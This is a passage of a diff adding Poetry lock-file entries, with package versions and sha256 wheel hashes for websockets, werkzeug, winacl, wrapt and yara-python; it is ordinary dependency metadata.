"websockets-11.0.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:808b8a33c961bbd6d33c55908f7c137569b09ea7dd024bce969969aa04ecf07c"}, + {file = "websockets-11.0.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:34a6f8996964ccaa40da42ee36aa1572adcb1e213665e24aa2f1037da6080909"}, + {file = "websockets-11.0.2-cp310-cp310-win32.whl", hash = "sha256:8f24cd758cbe1607a91b720537685b64e4d39415649cac9177cd1257317cf30c"}, + {file = "websockets-11.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:3b87cd302f08ea9e74fdc080470eddbed1e165113c1823fb3ee6328bc40ca1d3"}, + {file = "websockets-11.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3565a8f8c7bdde7c29ebe46146bd191290413ee6f8e94cf350609720c075b0a1"}, + {file = "websockets-11.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f97e03d4d5a4f0dca739ea274be9092822f7430b77d25aa02da6775e490f6846"}, + {file = "websockets-11.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8f392587eb2767afa8a34e909f2fec779f90b630622adc95d8b5e26ea8823cb8"}, + {file = "websockets-11.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7742cd4524622cc7aa71734b51294644492a961243c4fe67874971c4d3045982"}, + {file = "websockets-11.0.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:46dda4bc2030c335abe192b94e98686615f9274f6b56f32f2dd661fb303d9d12"}, + {file = "websockets-11.0.2-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d6b2bfa1d884c254b841b0ff79373b6b80779088df6704f034858e4d705a4802"}, + {file = "websockets-11.0.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:1df2413266bf48430ef2a752c49b93086c6bf192d708e4a9920544c74cd2baa6"}, + {file = "websockets-11.0.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cf45d273202b0c1cec0f03a7972c655b93611f2e996669667414557230a87b88"}, + {file = "websockets-11.0.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3a09cce3dacb6ad638fdfa3154d9e54a98efe7c8f68f000e55ca9c716496ca67"}, + {file = "websockets-11.0.2-cp311-cp311-win32.whl", hash = "sha256:2174a75d579d811279855df5824676d851a69f52852edb0e7551e0eeac6f59a4"}, + {file = "websockets-11.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:c78ca3037a954a4209b9f900e0eabbc471fb4ebe96914016281df2c974a93e3e"}, + {file = "websockets-11.0.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:3a2100b02d1aaf66dc48ff1b2a72f34f6ebc575a02bc0350cc8e9fbb35940166"}, + {file = "websockets-11.0.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dca9708eea9f9ed300394d4775beb2667288e998eb6f542cdb6c02027430c599"}, + {file = "websockets-11.0.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:320ddceefd2364d4afe6576195201a3632a6f2e6d207b0c01333e965b22dbc84"}, + {file = "websockets-11.0.2-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b2a573c8d71b7af937852b61e7ccb37151d719974146b5dc734aad350ef55a02"}, + {file = "websockets-11.0.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:13bd5bebcd16a4b5e403061b8b9dcc5c77e7a71e3c57e072d8dff23e33f70fba"}, + {file = "websockets-11.0.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:95c09427c1c57206fe04277bf871b396476d5a8857fa1b99703283ee497c7a5d"}, + {file = "websockets-11.0.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:2eb042734e710d39e9bc58deab23a65bd2750e161436101488f8af92f183c239"}, + {file = "websockets-11.0.2-cp37-cp37m-win32.whl", hash = "sha256:5875f623a10b9ba154cb61967f940ab469039f0b5e61c80dd153a65f024d9fb7"}, + {file = "websockets-11.0.2-cp37-cp37m-win_amd64.whl", hash = "sha256:634239bc844131863762865b75211a913c536817c0da27f691400d49d256df1d"}, + {file = "websockets-11.0.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:3178d965ec204773ab67985a09f5696ca6c3869afeed0bb51703ea404a24e975"}, + {file = "websockets-11.0.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:955fcdb304833df2e172ce2492b7b47b4aab5dcc035a10e093d911a1916f2c87"}, + {file = "websockets-11.0.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:cb46d2c7631b2e6f10f7c8bac7854f7c5e5288f024f1c137d4633c79ead1e3c0"}, + {file = "websockets-11.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25aae96c1060e85836552a113495db6d857400288161299d77b7b20f2ac569f2"}, + {file = "websockets-11.0.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2abeeae63154b7f63d9f764685b2d299e9141171b8b896688bd8baec6b3e2303"}, + {file = "websockets-11.0.2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:daa1e8ea47507555ed7a34f8b49398d33dff5b8548eae3de1dc0ef0607273a33"}, + {file = "websockets-11.0.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:954eb789c960fa5daaed3cfe336abc066941a5d456ff6be8f0e03dd89886bb4c"}, + {file = "websockets-11.0.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:3ffe251a31f37e65b9b9aca5d2d67fd091c234e530f13d9dce4a67959d5a3fba"}, + {file = "websockets-11.0.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:adf6385f677ed2e0b021845b36f55c43f171dab3a9ee0ace94da67302f1bc364"}, + {file = "websockets-11.0.2-cp38-cp38-win32.whl", hash = "sha256:aa7b33c1fb2f7b7b9820f93a5d61ffd47f5a91711bc5fa4583bbe0c0601ec0b2"}, + {file = "websockets-11.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:220d5b93764dd70d7617f1663da64256df7e7ea31fc66bc52c0e3750ee134ae3"}, + {file = "websockets-11.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:0fb4480556825e4e6bf2eebdbeb130d9474c62705100c90e59f2f56459ddab42"}, + {file = "websockets-11.0.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ec00401846569aaf018700249996143f567d50050c5b7b650148989f956547af"}, + {file = "websockets-11.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:87c69f50281126dcdaccd64d951fb57fbce272578d24efc59bce72cf264725d0"}, + {file = "websockets-11.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:232b6ba974f5d09b1b747ac232f3a3d8f86de401d7b565e837cc86988edf37ac"}, + {file = "websockets-11.0.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:392d409178db1e46d1055e51cc850136d302434e12d412a555e5291ab810f622"}, + {file = "websockets-11.0.2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a4fe2442091ff71dee0769a10449420fd5d3b606c590f78dd2b97d94b7455640"}, + {file = "websockets-11.0.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ede13a6998ba2568b21825809d96e69a38dc43184bdeebbde3699c8baa21d015"}, + {file = "websockets-11.0.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:4c54086b2d2aec3c3cb887ad97e9c02c6be9f1d48381c7419a4aa932d31661e4"}, + {file = "websockets-11.0.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:e37a76ccd483a6457580077d43bc3dfe1fd784ecb2151fcb9d1c73f424deaeba"}, + {file = "websockets-11.0.2-cp39-cp39-win32.whl", hash = "sha256:d1881518b488a920434a271a6e8a5c9481a67c4f6352ebbdd249b789c0467ddc"}, + {file = "websockets-11.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:25e265686ea385f22a00cc2b719b880797cd1bb53b46dbde969e554fb458bfde"}, + {file = "websockets-11.0.2-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ce69f5c742eefd039dce8622e99d811ef2135b69d10f9aa79fbf2fdcc1e56cd7"}, + {file = "websockets-11.0.2-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b985ba2b9e972cf99ddffc07df1a314b893095f62c75bc7c5354a9c4647c6503"}, + {file = "websockets-11.0.2-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1b52def56d2a26e0e9c464f90cadb7e628e04f67b0ff3a76a4d9a18dfc35e3dd"}, + {file = "websockets-11.0.2-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d70a438ef2a22a581d65ad7648e949d4ccd20e3c8ed7a90bbc46df4e60320891"}, + {file = "websockets-11.0.2-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:752fbf420c71416fb1472fec1b4cb8631c1aa2be7149e0a5ba7e5771d75d2bb9"}, + {file = "websockets-11.0.2-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:dd906b0cdc417ea7a5f13bb3c6ca3b5fd563338dc596996cb0fdd7872d691c0a"}, + {file = "websockets-11.0.2-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e79065ff6549dd3c765e7916067e12a9c91df2affea0ac51bcd302aaf7ad207"}, + {file = "websockets-11.0.2-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:46388a050d9e40316e58a3f0838c63caacb72f94129eb621a659a6e49bad27ce"}, + {file = "websockets-11.0.2-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5c7de298371d913824f71b30f7685bb07ad13969c79679cca5b1f7f94fec012f"}, + {file = "websockets-11.0.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:6d872c972c87c393e6a49c1afbdc596432df8c06d0ff7cd05aa18e885e7cfb7c"}, + {file = "websockets-11.0.2-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b444366b605d2885f0034dd889faf91b4b47668dd125591e2c64bfde611ac7e1"}, + {file = "websockets-11.0.2-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b967a4849db6b567dec3f7dd5d97b15ce653e3497b8ce0814e470d5e074750"}, + {file = "websockets-11.0.2-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2acdc82099999e44fa7bd8c886f03c70a22b1d53ae74252f389be30d64fd6004"}, + {file = "websockets-11.0.2-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:518ed6782d9916c5721ebd61bb7651d244178b74399028302c8617d0620af291"}, + {file = "websockets-11.0.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:58477b041099bb504e1a5ddd8aa86302ed1d5c6995bdd3db2b3084ef0135d277"}, + {file = "websockets-11.0.2-py3-none-any.whl", hash = "sha256:5004c087d17251938a52cce21b3dbdabeecbbe432ce3f5bbbf15d8692c36eac9"}, + {file = "websockets-11.0.2.tar.gz", hash = "sha256:b1a69701eb98ed83dd099de4a686dc892c413d974fa31602bc00aca7cb988ac9"}, +] + +[[package]] +name = "werkzeug" +version = "2.3.0" +description = "The comprehensive WSGI web application library." +category = "main" +optional = false +python-versions = ">=3.8" +files = [ + {file = "Werkzeug-2.3.0-py3-none-any.whl", hash = "sha256:340335057f72974d9281dbaf52c8090a9f9a59ba304ae814bf0656e6559c0020"}, + {file = "Werkzeug-2.3.0.tar.gz", hash = "sha256:3b6b46926d052b8ebca97c4dc73c12e47bdd07d57ab0600c039c3155450227bc"}, +] + +[package.dependencies] +MarkupSafe = ">=2.1.1" + +[package.extras] +watchdog = ["watchdog (>=2.3)"] + +[[package]] +name = "winacl" +version = "0.1.7" +description = "ACL/ACE/Security Descriptor manipulation library in pure Python" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "winacl-0.1.7-py3-none-any.whl", hash = "sha256:5d00ed1d2378823050b4eb87ff3e69d49cb3ecb8bf1e012b69afe15e3bdb2703"}, + {file = "winacl-0.1.7.tar.gz", hash = "sha256:ca662c091471a6c629d76c5eec63d8a1bf1af7c054348f09c1242f338850b2bd"}, +] + +[package.dependencies] +cryptography = ">=38.0.1" + +[[package]] +name = "wrapt" +version = "1.15.0" +description = "Module for decorators, wrappers and monkey patching." +category = "main" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7" +files = [ + {file = "wrapt-1.15.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:ca1cccf838cd28d5a0883b342474c630ac48cac5df0ee6eacc9c7290f76b11c1"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:e826aadda3cae59295b95343db8f3d965fb31059da7de01ee8d1c40a60398b29"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:5fc8e02f5984a55d2c653f5fea93531e9836abbd84342c1d1e17abc4a15084c2"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:96e25c8603a155559231c19c0349245eeb4ac0096fe3c1d0be5c47e075bd4f46"}, + {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:40737a081d7497efea35ab9304b829b857f21558acfc7b3272f908d33b0d9d4c"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:f87ec75864c37c4c6cb908d282e1969e79763e0d9becdfe9fe5473b7bb1e5f09"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:1286eb30261894e4c70d124d44b7fd07825340869945c79d05bda53a40caa079"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:493d389a2b63c88ad56cdc35d0fa5752daac56ca755805b1b0c530f785767d5e"}, + {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:58d7a75d731e8c63614222bcb21dd992b4ab01a399f1f09dd82af17bbfc2368a"}, + {file = "wrapt-1.15.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:21f6d9a0d5b3a207cdf7acf8e58d7d13d463e639f0c7e01d82cdb671e6cb7923"}, + {file = "wrapt-1.15.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ce42618f67741d4697684e501ef02f29e758a123aa2d669e2d964ff734ee00ee"}, + {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41d07d029dd4157ae27beab04d22b8e261eddfc6ecd64ff7000b10dc8b3a5727"}, + {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:54accd4b8bc202966bafafd16e69da9d5640ff92389d33d28555c5fd4f25ccb7"}, + {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2fbfbca668dd15b744418265a9607baa970c347eefd0db6a518aaf0cfbd153c0"}, + {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:76e9c727a874b4856d11a32fb0b389afc61ce8aaf281ada613713ddeadd1cfec"}, + {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e20076a211cd6f9b44a6be58f7eeafa7ab5720eb796975d0c03f05b47d89eb90"}, + {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a74d56552ddbde46c246b5b89199cb3fd182f9c346c784e1a93e4dc3f5ec9975"}, + {file = "wrapt-1.15.0-cp310-cp310-win32.whl", hash = "sha256:26458da5653aa5b3d8dc8b24192f574a58984c749401f98fff994d41d3f08da1"}, + {file = "wrapt-1.15.0-cp310-cp310-win_amd64.whl", hash = "sha256:75760a47c06b5974aa5e01949bf7e66d2af4d08cb8c1d6516af5e39595397f5e"}, + {file = "wrapt-1.15.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ba1711cda2d30634a7e452fc79eabcadaffedf241ff206db2ee93dd2c89a60e7"}, + {file = "wrapt-1.15.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:56374914b132c702aa9aa9959c550004b8847148f95e1b824772d453ac204a72"}, + {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a89ce3fd220ff144bd9d54da333ec0de0399b52c9ac3d2ce34b569cf1a5748fb"}, + {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bbe623731d03b186b3d6b0d6f51865bf598587c38d6f7b0be2e27414f7f214e"}, + {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3abbe948c3cbde2689370a262a8d04e32ec2dd4f27103669a45c6929bcdbfe7c"}, + {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b67b819628e3b748fd3c2192c15fb951f549d0f47c0449af0764d7647302fda3"}, + {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:7eebcdbe3677e58dd4c0e03b4f2cfa346ed4049687d839adad68cc38bb559c92"}, + {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:74934ebd71950e3db69960a7da29204f89624dde411afbfb3b4858c1409b1e98"}, + {file = "wrapt-1.15.0-cp311-cp311-win32.whl", hash = "sha256:bd84395aab8e4d36263cd1b9308cd504f6cf713b7d6d3ce25ea55670baec5416"}, + {file = "wrapt-1.15.0-cp311-cp311-win_amd64.whl", hash = "sha256:a487f72a25904e2b4bbc0817ce7a8de94363bd7e79890510174da9d901c38705"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:4ff0d20f2e670800d3ed2b220d40984162089a6e2c9646fdb09b85e6f9a8fc29"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:9ed6aa0726b9b60911f4aed8ec5b8dd7bf3491476015819f56473ffaef8959bd"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_i686.whl", hash = "sha256:896689fddba4f23ef7c718279e42f8834041a21342d95e56922e1c10c0cc7afb"}, + {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:75669d77bb2c071333417617a235324a1618dba66f82a750362eccbe5b61d248"}, + {file = "wrapt-1.15.0-cp35-cp35m-win32.whl", hash = "sha256:fbec11614dba0424ca72f4e8ba3c420dba07b4a7c206c8c8e4e73f2e98f4c559"}, + {file = "wrapt-1.15.0-cp35-cp35m-win_amd64.whl", hash = "sha256:fd69666217b62fa5d7c6aa88e507493a34dec4fa20c5bd925e4bc12fce586639"}, + {file = "wrapt-1.15.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:b0724f05c396b0a4c36a3226c31648385deb6a65d8992644c12a4963c70326ba"}, + {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbeccb1aa40ab88cd29e6c7d8585582c99548f55f9b2581dfc5ba68c59a85752"}, + {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:38adf7198f8f154502883242f9fe7333ab05a5b02de7d83aa2d88ea621f13364"}, + {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:578383d740457fa790fdf85e6d346fda1416a40549fe8db08e5e9bd281c6a475"}, + {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:a4cbb9ff5795cd66f0066bdf5947f170f5d63a9274f99bdbca02fd973adcf2a8"}, + {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:af5bd9ccb188f6a5fdda9f1f09d9f4c86cc8a539bd48a0bfdc97723970348418"}, + {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:b56d5519e470d3f2fe4aa7585f0632b060d532d0696c5bdfb5e8319e1d0f69a2"}, + {file = "wrapt-1.15.0-cp36-cp36m-win32.whl", hash = "sha256:77d4c1b881076c3ba173484dfa53d3582c1c8ff1f914c6461ab70c8428b796c1"}, + {file = "wrapt-1.15.0-cp36-cp36m-win_amd64.whl", hash = "sha256:077ff0d1f9d9e4ce6476c1a924a3332452c1406e59d90a2cf24aeb29eeac9420"}, + {file = "wrapt-1.15.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5c5aa28df055697d7c37d2099a7bc09f559d5053c3349b1ad0c39000e611d317"}, + {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3a8564f283394634a7a7054b7983e47dbf39c07712d7b177b37e03f2467a024e"}, + {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:780c82a41dc493b62fc5884fb1d3a3b81106642c5c5c78d6a0d4cbe96d62ba7e"}, + {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e169e957c33576f47e21864cf3fc9ff47c223a4ebca8960079b8bd36cb014fd0"}, + {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b02f21c1e2074943312d03d243ac4388319f2456576b2c6023041c4d57cd7019"}, + {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f2e69b3ed24544b0d3dbe2c5c0ba5153ce50dcebb576fdc4696d52aa22db6034"}, + {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d787272ed958a05b2c86311d3a4135d3c2aeea4fc655705f074130aa57d71653"}, + {file = "wrapt-1.15.0-cp37-cp37m-win32.whl", hash = "sha256:02fce1852f755f44f95af51f69d22e45080102e9d00258053b79367d07af39c0"}, + {file = "wrapt-1.15.0-cp37-cp37m-win_amd64.whl", hash = "sha256:abd52a09d03adf9c763d706df707c343293d5d106aea53483e0ec8d9e310ad5e"}, + {file = "wrapt-1.15.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cdb4f085756c96a3af04e6eca7f08b1345e94b53af8921b25c72f096e704e145"}, + {file = "wrapt-1.15.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:230ae493696a371f1dbffaad3dafbb742a4d27a0afd2b1aecebe52b740167e7f"}, + {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63424c681923b9f3bfbc5e3205aafe790904053d42ddcc08542181a30a7a51bd"}, + {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6bcbfc99f55655c3d93feb7ef3800bd5bbe963a755687cbf1f490a71fb7794b"}, + {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c99f4309f5145b93eca6e35ac1a988f0dc0a7ccf9ccdcd78d3c0adf57224e62f"}, + {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b130fe77361d6771ecf5a219d8e0817d61b236b7d8b37cc045172e574ed219e6"}, + {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:96177eb5645b1c6985f5c11d03fc2dbda9ad24ec0f3a46dcce91445747e15094"}, + {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d5fe3e099cf07d0fb5a1e23d399e5d4d1ca3e6dfcbe5c8570ccff3e9208274f7"}, + {file = "wrapt-1.15.0-cp38-cp38-win32.whl", hash = "sha256:abd8f36c99512755b8456047b7be10372fca271bf1467a1caa88db991e7c421b"}, + {file = "wrapt-1.15.0-cp38-cp38-win_amd64.whl", hash = "sha256:b06fa97478a5f478fb05e1980980a7cdf2712015493b44d0c87606c1513ed5b1"}, + {file = "wrapt-1.15.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2e51de54d4fb8fb50d6ee8327f9828306a959ae394d3e01a1ba8b2f937747d86"}, + {file = "wrapt-1.15.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0970ddb69bba00670e58955f8019bec4a42d1785db3faa043c33d81de2bf843c"}, + {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76407ab327158c510f44ded207e2f76b657303e17cb7a572ffe2f5a8a48aa04d"}, + {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cd525e0e52a5ff16653a3fc9e3dd827981917d34996600bbc34c05d048ca35cc"}, + {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d37ac69edc5614b90516807de32d08cb8e7b12260a285ee330955604ed9dd29"}, + {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:078e2a1a86544e644a68422f881c48b84fef6d18f8c7a957ffd3f2e0a74a0d4a"}, + {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:2cf56d0e237280baed46f0b5316661da892565ff58309d4d2ed7dba763d984b8"}, + {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7dc0713bf81287a00516ef43137273b23ee414fe41a3c14be10dd95ed98a2df9"}, + {file = "wrapt-1.15.0-cp39-cp39-win32.whl", hash = "sha256:46ed616d5fb42f98630ed70c3529541408166c22cdfd4540b88d5f21006b0eff"}, + {file = "wrapt-1.15.0-cp39-cp39-win_amd64.whl", hash = "sha256:eef4d64c650f33347c1f9266fa5ae001440b232ad9b98f1f43dfe7a79435c0a6"}, + {file = "wrapt-1.15.0-py3-none-any.whl", hash = "sha256:64b1df0f83706b4ef4cfb4fb0e4c2669100fd7ecacfb59e091fad300d4e04640"}, + {file = "wrapt-1.15.0.tar.gz", hash = "sha256:d06730c6aed78cee4126234cf2d071e01b44b915e725a6cb439a879ec9754a3a"}, +] + +[[package]] +name = "yara-python" +version = "4.3.1" +description = "Python interface for YARA" +category = "main" +optional = false +python-versions = "*" +files = [ + {file = "yara-python-4.3.1.tar.gz", hash = "sha256:7af4354ee0f1561f51fd01771a121d8d385b93bbc6138a25a38ce68aa6801c2c"}, + {file = "yara_python-4.3.1-cp310-cp310-win32.whl", hash = "sha256:834d8fe2cdb5cf61d5e505d32c504b62891df5ce5af9f04dbd8c7575c1dbef30"}, + {file = "yara_python-4.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:ec05d0b7cc46728119d450875382d5386305510b8cfb14bad3627060c9e6f199"}, + {file = "yara_python-4.3.1-cp311-cp311-win32.whl", hash = "sha256:c8663f75f0c5f82e0f6053c9ddbddd97f956787bffb7f64cac1e40e0a21db89c"}, + {file = "yara_python-4.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:51f1bdbcdbcfa29a7a2cf7e7e5d6a7d8dbd00568e4ab6103adceda5a499895a6"}, + {file = "yara_python-4.3.1-cp37-cp37m-win32.whl", hash = "sha256:8847bb5e74d2b33cf48f372bed02805876ab2e414aa7fd50c16a7c6150316601"}, + {file = "yara_python-4.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:fbf8281a6eb538b5c219a9c54c65a910806e7adf28a7d878f2cff551cbbd43ea"}, + {file = "yara_python-4.3.1-cp38-cp38-win32.whl", hash = "sha256:fd70fe0ba522d4ecd73cbf45e528872844e61e2febe8f66e8a94c2674751b831"}, + {file = 